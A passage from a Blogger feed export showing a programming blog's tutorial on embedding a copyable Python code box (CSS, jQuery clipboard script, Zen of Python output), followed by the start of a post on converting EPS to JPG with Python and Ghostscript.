  &lt;span style=&quot;color: #66d9ef;&quot;&gt;visibility&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;hidden&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;160px&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;background-color&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;#555&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;color&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;#fff&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;text-align&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;center&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;border&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;radius&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;6px&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;padding&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;8px&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;absolute&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;z-index&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;bottom&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;125&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;left&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;margin-left&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;-80px&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;/* Popup arrow */&lt;/span&gt;
&lt;span style=&quot;color: #a6e22e;&quot;&gt;.popup&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;.popuptext&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #a6e22e;&quot;&gt;:after&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;absolute&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;top&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;left&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;margin-left&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;-5px&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;border-width&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;5px&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;border-style&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;solid&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;border-color&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;#555&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;transparent&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;transparent&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;transparent&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;/* Toggle this class - hide and show the popup */&lt;/span&gt;
&lt;span style=&quot;color: #a6e22e;&quot;&gt;.popup&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;.show&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;visibility&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;visible&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;webkit&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;animation&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fadeIn&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;1s&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #f8f8f2;&quot;&gt;animation&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fadeIn&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;1s&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;/* Add animation (fade in the popup) */&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;@-webkit-keyframes&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;fadeIn&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;opacity&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;}&lt;/span&gt; 
  &lt;span style=&quot;color: #f92672;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;opacity&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;}&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;@keyframes&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;fadeIn&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;opacity&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;;}&lt;/span&gt;
  &lt;span style=&quot;color: #f92672;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;opacity&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;;}&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #a6e22e;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #66d9ef;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(){&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;Clipboard&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;.copy-text&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;);&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;});&lt;/span&gt;


&lt;span style=&quot;color: #66d9ef;&quot;&gt;function&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;myyFunction&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #66d9ef;&quot;&gt;var&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;popup&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;document.&lt;/span&gt;&lt;span style=&quot;color: #a6e22e;&quot;&gt;getElementById&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;myPopup&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;);&lt;/span&gt;
  &lt;span style=&quot;color: #a6e22e;&quot;&gt;popup&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e22e;&quot;&gt;classList&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e22e;&quot;&gt;toggle&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;show&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;);&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;pre&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;id=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;content&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;&amp;lt;!------------------------------&amp;gt;&lt;/span&gt;

&lt;div class=&quot;shimmer&quot;&gt;
&lt;span&gt;&amp;lt;&amp;lt;COPY PASTE YOUR PYTHON CODE HERE&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;&amp;lt;!------------------------------&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;


&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;class=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;popup&quot;&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;onclick=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;myyFunction()&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;span&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;class=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;popuptext&quot;&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;id=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;myPopup&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt;Copied&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;button&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;class=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;copy-text&quot;&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;data-clipboard-target=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;#content&quot;&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;href=&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;#&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;gt;&lt;/span&gt;Copy Code&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

  
&lt;p&gt;&lt;/p&gt;&lt;p&gt;I am going to use import this and this is the result as you can see here.&lt;br /&gt;
  
  
&lt;meta content=&quot;width=device-width, initial-scale=1&quot; name=&quot;viewport&quot;&gt;&lt;/meta&gt;
&lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;https://cdn.jsdelivr.net/clipboard.js/1.5.12/clipboard.min.js&quot;&gt;&lt;/script&gt;

&lt;style&gt;
button {
  display: inline-block;
  padding: 5px 20px;
  font-size: 24px;
  cursor: pointer;
  text-align: center;
  text-decoration: none;
  outline: none;
  color: #fff;
  background-color: #303134;
  border: none;
  border-radius: 15px;
  box-shadow: 0 9px #999;
}

button:hover {background-color: #202124}

button:active {
  background-color: #FF7357;
  box-shadow: 0 5px #666;
  transform: translateY(4px);
}

/* Popup container - can be anything you want */
.popup {
  position: relative;
  display: inline-block;
  cursor: pointer;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}

/* The actual popup */
.popup .popuptext {
  visibility: hidden;
  width: 160px;
  background-color: #555;
  color: #fff;
  text-align: center;
  border-radius: 6px;
  padding: 8px 0;
  position: absolute;
  z-index: 1;
  bottom: 125%;
  left: 50%;
  margin-left: -80px;
}

/* Popup arrow */
.popup .popuptext::after {
  content: &quot;&quot;;
  position: absolute;
  top: 100%;
  left: 50%;
  margin-left: -5px;
  border-width: 5px;
  border-style: solid;
  border-color: #555 transparent transparent transparent;
}

/* Toggle this class - hide and show the popup */
.popup .show {
  visibility: visible;
  -webkit-animation: fadeIn 1s;
  animation: fadeIn 1s;
}

/* Add animation (fade in the popup) */
@-webkit-keyframes fadeIn {
  from {opacity: 0;} 
  to {opacity: 1;}
}

@keyframes fadeIn {
  from {opacity: 0;}
  to {opacity:1 ;}
}
&lt;/style&gt;

&lt;script&gt;
$(function(){
  new Clipboard(&#39;.copy-text&#39;);
});


function myyFunction() {
  var popup = document.getElementById(&quot;myPopup&quot;);
  popup.classList.toggle(&quot;show&quot;);
}
&lt;/script&gt;

&lt;/p&gt;&lt;pre id=&quot;content&quot;&gt;&lt;div class=&quot;card&quot;&gt;
&lt;!------------------------------&gt;
&amp;gt;&amp;gt;&amp;gt; import this
The Zen of Python, by Tim Peters

Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren&#39;t special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you&#39;re Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it&#39;s a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let&#39;s do more of those!
&amp;gt;&amp;gt;&amp;gt; 
&lt;!------------------------------&gt;
&lt;/div&gt;
&lt;/pre&gt;


&lt;div class=&quot;popup&quot; onclick=&quot;myyFunction()&quot;&gt;
&lt;span class=&quot;popuptext&quot; id=&quot;myPopup&quot;&gt;Copied&lt;/span&gt;
&lt;button class=&quot;copy-text&quot; data-clipboard-target=&quot;#content&quot; href=&quot;#&quot;&gt;Copy Code&lt;/button&gt;
&lt;/div&gt;

  
  
  
  
  &lt;br /&gt;&lt;p&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/2766024562921218025/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/how-to-add-python-code-snippet-to-your.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2766024562921218025'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/2766024562921218025'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/how-to-add-python-code-snippet-to-your.html' title='How to add Python Code Snippet to your blogger or website? (Version. 2.0)'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEhoj6B2qGleNONfIWfqLHyAO4UJRQLNcJ0lnK_EUnYSV9VErer0aEPXSnrRBfLs7bZTGMssNDcd5h-_UEpm1TNaU1GsnS2iczsa6AeuFG0dUNpnV3VvhfKQzjMm12dp-drqpR71WxlHgkVzvQIpoDTFYBPBBFrh_gDZKWiSaRhkS5js50ECx0udAuNO=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-5674329422500173921</id><published>2021-11-01T03:30:00.013-07:00</published><updated>2021-11-07T14:26:06.592-08:00</updated><title type='text'>How to Convert EPS to JPG using Python</title><content type='html'>&lt;p&gt;&lt;b&gt;Q. What is .EPS file?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Ans. EPS stands for (Encapsulated PostScript). A&lt;span class=&quot;ILfuVd NA6bn&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt; standard graphics file format created by Adobe in 1992. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;ILfuVd NA6bn&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span class=&quot;ILfuVd NA6bn&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt; It is more like a postscript program that instructs images and drawings to be placed on a document.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt; EPS has been considered a good choice of format for &lt;b&gt;vector graphic illustrations intended&lt;/b&gt;
 for high-resolution or large-scale printing and commonly used for 
printing to PostScript printers and imagesetters. EPS files are 
typically created and edited in illustration programs such as Adobe 
Illustrator or CorelDRAW. &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;b&gt;EPS is still in use&lt;/b&gt;, 
but it is essentially an outdated file format that no longer evolves. 
For exchanging logos or drawings, it has been replaced by the native 
file formats of Adobe applications.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;Q.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; Is EPS file better?&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;Ans. SVG files are able to be displayed by most modern web browsers, and so are well suited to digital applications, while &lt;b&gt;EPS files are better for printing-intended drawings&lt;/b&gt;.
 ... However, an advantage of EPS files is the encapsulated preview, 
which means they can be viewed even on devices that can&#39;t read the whole
 file.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;You can convert EPS file into I&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;llustrator by opening the EPS file and Exporting it as JPEG / JPG.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;But You CAN also use only Python do achieve the same goal.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;This is how to convert EPS file into JPG file using Python.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;Follow this steps:-&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;A] This Code will NOT WORK unless you have installed GhostScript&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;Q. What is GhostScript?&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;Ans. Ghostscript is an interpreter for PostScript and Portable Document Format (PDF) files. Ghostscript consists of a PostScript interpreter layer, and a graphics library.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;Q. How to install Ghostscript on Windows?&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;Ans. Its simple and straight forward, &lt;br /&gt;1) First go to this URL &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;https://ghostscript.com/releases/gsdnld.html&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEinjTqEEQRdXn_AFZsnD3SCmVciaLDs2MHLnwx1ipertI5tH7LhjELmOTqTb_JRKWrQYFPZ1JKBPWebKkmnOSk_qln5LIJGT6frdBJQoJrMqd7kTqJYB6oz31FeCtE0cSMRdOh-gUHgTXeVj8kbASlA0d7GUORDg2bve5OUQiHQWNB8blfPDACyw1xt=s784&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;595&quot; data-original-width=&quot;784&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEinjTqEEQRdXn_AFZsnD3SCmVciaLDs2MHLnwx1ipertI5tH7LhjELmOTqTb_JRKWrQYFPZ1JKBPWebKkmnOSk_qln5LIJGT6frdBJQoJrMqd7kTqJYB6oz31FeCtE0cSMRdOh-gUHgTXeVj8kbASlA0d7GUORDg2bve5OUQiHQWNB8blfPDACyw1xt=s16000&quot; /&gt;&lt;/a&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;span class=&quot;ILfuVd&quot;&gt;&lt;span class=&quot;hgKElc&quot;&gt;2) Download GhostScript (64 bit) &amp;amp; install (Assuming your OS is Windows 